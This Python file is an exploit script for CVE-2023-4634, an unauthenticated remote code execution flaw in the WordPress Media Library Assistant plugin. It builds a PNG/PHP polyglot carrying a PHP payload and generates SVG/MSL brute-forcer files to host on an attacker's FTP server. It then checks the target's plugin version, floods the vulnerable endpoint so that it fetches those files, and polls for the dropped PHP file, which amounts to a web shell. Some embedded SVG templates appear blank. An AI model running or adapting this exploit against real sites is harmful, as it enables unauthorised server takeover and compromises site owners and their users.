import grequests import requests_ftp import argparse import requests import random import time import re import os from sys import stdout from PIL import Image from PIL.PngImagePlugin import PngInfo from colorama import Fore, Style # Banner and color output COLORS = { "grey": 30, "red": 31, "green": 32, "yellow": 33, "blue": 34, "magenta": 35, "cyan": 36, "white": 37 } def colored(text: str, color: str) -> str: """Colorize text with ANSI escape sequences.""" return f"\033[{COLORS[color]}m{text}\033[0m" MAX_CONCURRENT_THREADS = 10 BRUTEFORCE_LIST = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_-" CHECK_INTERVAL = 10 MAX_CHECK_ATTEMPTS = 9 def clear(): os.system('clear' if os.name == 'posix' else 'cls') def banners(): clear() stdout.write(" \n") stdout.write(""+Fore.LIGHTRED_EX +"███╗ ███╗███████╗██████╗ ██╗ █████╗ ██╗ ██╗██████╗ ██████╗ █████╗ ██████╗ ██╗ ██╗\n") stdout.write(""+Fore.LIGHTRED_EX +"████╗ ████║██╔════╝██╔══██╗██║██╔══██╗ ██║ ██║██╔══██╗██╔══██╗██╔══██╗██╔══██╗╚██╗ ██╔╝\n") stdout.write(""+Fore.LIGHTRED_EX +"██╔████╔██║█████╗ ██║ ██║██║███████║█████╗██║ ██║██████╔╝██████╔╝███████║██████╔╝ ╚████╔╝\n") stdout.write(""+Fore.LIGHTRED_EX +"██║╚██╔╝██║██╔══╝ ██║ ██║██║██╔══██║╚════╝██║ ██║██╔══██╗██╔══██╗██╔══██║██╔══██╗ ╚██╔╝\n") stdout.write(""+Fore.LIGHTRED_EX +"██║ ╚═╝ ██║███████╗██████╔╝██║██║ ██║ ███████╗██║██████╔╝██║ ██║██║ ██║██║ ██║ ██║\n") stdout.write(""+Fore.LIGHTRED_EX +"╚═╝ ╚═╝╚══════╝╚═════╝ ╚═╝╚═╝ ╚═╝ ╚══════╝╚═╝╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚═╝\n") stdout.write(""+Fore.YELLOW +"═════════════╦═════════════════════════════════╦════════════════════════════════════════════\n") stdout.write(""+Fore.YELLOW +"╔════════════╩═════════════════════════════════╩═════════════════════════════╗\n") stdout.write(""+Fore.YELLOW +"║ \x1b[38;2;255;20;147m• "+Fore.GREEN+"AUTHOR "+Fore.RED+" |"+Fore.LIGHTWHITE_EX+" PARI MALAM "+Fore.YELLOW+"║\n") stdout.write(""+Fore.YELLOW +"╔════════════════════════════════════════════════════════════════════════════╝\n") stdout.write(""+Fore.YELLOW +"║ \x1b[38;2;255;20;147m• "+Fore.GREEN+"GITHUB "+Fore.RED+" |"+Fore.LIGHTWHITE_EX+" GITHUB.COM/PARI-MALAM "+Fore.YELLOW+"║\n") stdout.write(""+Fore.YELLOW +"╚════════════════════════════════════════════════════════════════════════════╝\n") print(f"{Fore.YELLOW}[Wordpress] - {Fore.GREEN}Unauthenticated Remote Code Execution with default Imagick\n") banners() def generate_polyglot_png(payload, png_polyglot_name): if not os.path.exists("./exploit-png"): os.mkdir("./exploit-png") try: targetImage = Image.open("exploit-png/sample.png") metadata = PngInfo() metadata.add_text("Comment", payload) targetImage.save("exploit-png/" + png_polyglot_name, pnginfo=metadata) print(colored("\t\t[-] " + png_polyglot_name + " polyglot PNG/PHP file generated", "green")) exit() except Exception as e: print(colored("\t[x] No PNG file found in the folder exploit-png, add a standard PNG sample.png in it", "red")) exit() def generate_svg_files(svg_polyglot_name, svg_exploiter_names, remotehttp, png_polyglot_name, webserverpath, exploitname): if "FUZZ" not in svg_exploiter_names: print(colored("\t\t[x] The --svg_exploiter_names needs to include a FUZZ part to create the files", "red")) exit() else: print(colored("\t[-] Generating polyglot SVG/MSL file using user inputs", "cyan")) poly_svg = f""" """ if not os.path.exists("./remote_ftp"): os.mkdir("./remote_ftp") f = open(f"./remote_ftp/{svg_polyglot_name}", "w") f.write(poly_svg) f.close() f = open(f"./remote_ftp/{svg_polyglot_name}[0]", "w") f.write(poly_svg) f.close() print(colored("\t\t[-] {svg_polyglot_name} generated", "green")) # Generating msl:vid bruteforcers print(colored("\t[-] Generating bruteforce file using text:vid:msl formatter", "cyan")) for i in BRUTEFORCE_LIST: filename = svg_exploiter_names.replace("FUZZ", i) exploiter_content = f""" xmlns="http://www.w3.org/2000/svg"> """ f = open(f"./remote_ftp/{filename}", "w") f.write(exploiter_content) f.close f = open(f"./remote_ftp/{filename}[0]", "w") f.write(exploiter_content) f.close print(colored("\t\t[-] {filename} generated", "green")) print(colored("\t[-] All files have been generated successfully", "green")) exit() if __name__ == '__main__': parser = argparse.ArgumentParser( prog="CVE-2023-4634", allow_abbrev=False ) parser.add_argument('--target', nargs='?', help='URL of the Target, ex: http://victimwordpress.org') parser.add_argument('--remoteftp', nargs='?', help='URL of the remote FTP use to store SVGs files, ex: ftp://X.X.X.X:PORT') parser.add_argument('--remotehttp', nargs='?', help='URL of the remote HTTP use to store the final Polyglot PNG/PHP file, ex: http://X.X.X.X:PORT') parser.add_argument('--svg_polyglot_name', nargs='?', help='Name of the external polyglot SVG/MSL file used (for generation or final usage), ex: poly.svg') parser.add_argument('--svg_exploiter_names', nargs='?', help='Name of the external VID bruteforcers file use, the FUZZ part will be replaced by the first letter bruteforced (for generation or final usage), ex: exploiter_FUZZ.svg') parser.add_argument('--png_polyglot_name', nargs='?', help='Name of the external PNG/PHP to use (for generation or final usage), ex: exploiter_FUZZ.svg') parser.add_argument('--concurrency', nargs='?', type=int, default=100, help='Number of concurrent long SVG conversion requests to make (default 100)') parser.add_argument('--generatesvg', action='store_true', help='Generate both polyglot SVG/MSL file and VID bruteforcer within the remote_ftp directory') parser.add_argument('--webserverpath', help='Path of the webserver on the victim server (could be found with the LFI and wp-config file), ex: /var/www/html') parser.add_argument('--exploitname', help='Dropped exploit name, ex: pwned.php') parser.add_argument('--generatepng', action='store_true', help='Generate polyglot PNG/PHP file, integrate php file with -payload option in exploit-png folder') parser.add_argument('--payload', help='PHP Payload to integrate in the PNG file, ex: ') args = parser.parse_args() # Assigning arguments to variables target = args.target remoteftp = args.remoteftp remotehttp = args.remotehttp svg_polyglot_name = args.svg_polyglot_name svg_exploiter_names = args.svg_exploiter_names png_polyglot_name = args.png_polyglot_name concurrency = args.concurrency generatesvg = args.generatesvg generatepng = args.generatepng webserverpath = args.webserverpath exploitname = args.exploitname payload = args.payload # Print banner print(colored("\n", "white")) print(colored("[-] Checking arguments", "cyan")) # Option to generate the polyglot PNG/PHP file if generatepng: print(colored("\t[-] Option to generate polyglot PNG/PHP selected", "cyan")) if not payload or not png_polyglot_name: print(colored("\t[x] The --payload and --png_polyglot_name options are needed to create the PNG file", "red")) exit() generate_polyglot_png(payload, png_polyglot_name) # Generate SVG Files elif generatesvg: print(colored("\t[-] Option to generate SVG selected", "cyan")) if not svg_polyglot_name or not svg_exploiter_names or not remotehttp or not png_polyglot_name or not webserverpath or not exploitname: print(colored("\t\t[x] The --svg_polyglot_name, --svg_exploiter_names, --remotehttp, --png_polyglot_name, --webserverpath and --exploitname options are needed to create the SVG/MSL Polyglot file", "red")) exit() generate_svg_files(svg_polyglot_name, svg_exploiter_names, remotehttp, png_polyglot_name, webserverpath, exploitname) # Exploitation Part elif target and remoteftp and remotehttp and svg_polyglot_name and svg_exploiter_names and png_polyglot_name and exploitname: print(colored("\t[-] All arguments for exploiting target are set, beginning the first checks", "green")) if "FUZZ" not in svg_exploiter_names: print(colored("\t\t[x] The --svg_exploiter_names needs to include a FUZZ part to be used in exploitation", "red")) exit() target_mla = target + "/wp-content/plugins/media-library-assistant/includes/mla-stream-image.php" target_mla_readme = target + "/wp-content/plugins/media-library-assistant/readme.txt" try: r = requests.get(target_mla_readme) except Exception as e: print(colored("\t[x] The target seems to be down, error:" + str(e), "red")) if r.status_code == 404: print(colored("\t[x] The target seems not to be running the plugin", "red")) exit() else: if re.findall('(?mi)Stable tag: ([0-9.]+)', r.text): if float(re.findall('(?mi)Stable tag: ([0-9.]+)', r.text)[0]) < 3.10: print(colored("\t[-] The target seems to be running the plugin in a vulnerable version (<3.10)", "green")) else: print(colored("\t[x] The Plugin version seems to be installed but not in a vulnerable version", "red")) # Checking FTP files ftp_target = remoteftp + "/" + svg_polyglot_name ftp_taget_frame = ftp_target + "[0]" requests_ftp.monkeypatch_session() s = requests.Session() try: resp = s.get(ftp_target) except: print(colored("\t[x] Error while getting the remote FTP polyglot SVG/MSL file " + ftp_target, "red")) exit() if resp.status_code == 200: print(colored("\t[-] The remote FTP polyglot SVG/MSL file is reachable", "green")) try: resp = s.get(ftp_taget_frame) except: print(colored("\t[x] Error while getting the remote FTP polyglot SVG/MSL file ending with [0] " + ftp_target, "red")) exit() if resp.status_code == 200: print(colored("\t[-] The remote FTP polyglot SVG/MSL file ending with [0] is reachable", "green")) ftp_target_exploiter = remoteftp + "/" + svg_exploiter_names.replace("FUZZ", random.choice(BRUTEFORCE_LIST)) ftp_taget_exploiter_frame = ftp_target_exploiter + "[0]" requests_ftp.monkeypatch_session() s = requests.Session() try: resp = s.get(ftp_target_exploiter) except: print(colored("\t[x] Error while getting a sample remote FTP exploiter VID test file " + ftp_target, "red")) exit() if resp.status_code == 200: print(colored("\t[-] A sample remote FTP exploiter VID test file is reachable", "green")) try: resp = s.get(ftp_taget_exploiter_frame) except: print(colored("\t[x] Error while getting a sample remote FTP exploiter VID test file ending with [0] " + ftp_target, "red")) exit() if resp.status_code == 200: print(colored("\t[-] A sample Remote FTP exploiter VID test file ending with [0] is reachable", "green")) # Checking the final PNG/PHP polyglot file remote_virus = remotehttp + "/" + png_polyglot_name try: r = requests.get(remote_virus) except Exception as e: print(colored("\t[x] The Remote HTTP Server Hosting PNG Virus seems to be down, error:" + str(e), "red")) exit() if r.status_code == 404: print(colored("\t[x] The remote PNG/PHP file is not reachable (404)", "red")) exit() else: print(colored("\t[-] The remote Exploit PNG/PHP file is reachable", "green")) # Launching exploitation print(colored("[!] All arguments have been checked correctly, launching exploitation", "yellow")) print(colored("[-] Launching " + str(concurrency) + " Threads on long SVG", "cyan")) exploit_url = target_mla + "?mla_stream_file=" + ftp_target exploit_ploly_list = [exploit_url] * concurrency rs = (grequests.get(u, timeout=0.5) for u in exploit_ploly_list) grequests.map(rs) print(colored("[-] Waiting 5 seconds for the file to be created", "cyan")) time.sleep(5) print(colored("[-] Starting Bruteforcing with VID exploiters", "cyan")) exploit_url_list = [] for i in BRUTEFORCE_LIST: exploit_url = target_mla + "?mla_stream_file=" + remoteftp + "/" + svg_exploiter_names.replace("FUZZ", i) exploit_url_list.append(exploit_url) rs = (grequests.get(u, timeout=0.5) for u in exploit_url_list) grequests.map(rs) time.sleep(5) print(colored("[-] Checking the drop of " + exploitname, "cyan")) target_virus = target + "/" + exploitname i = 0 # Timeout set to 80 seconds while i <= 8: try: r = requests.get(target_virus) except Exception as e: print(colored("\t[!] Error while reaching the target URL, hope you did not crash it: " + str(e), "red")) exit() if r.status_code == 200: print(colored("\t[-] Exploit worked! The PHP file is in the web directory. Enjoy 🔥", "green")) exit() else: print(colored("\t[!] Not yet, try " + str(i+1) + " on 9 ... checking again in 10 seconds", "yellow")) time.sleep(10) i += 1 continue print(colored("\t[!] Exploit has not worked, try by increasing concurrency value or use another method", "red")) exit() else: print(colored("\t[!] Missing arguments!", "red")) exit()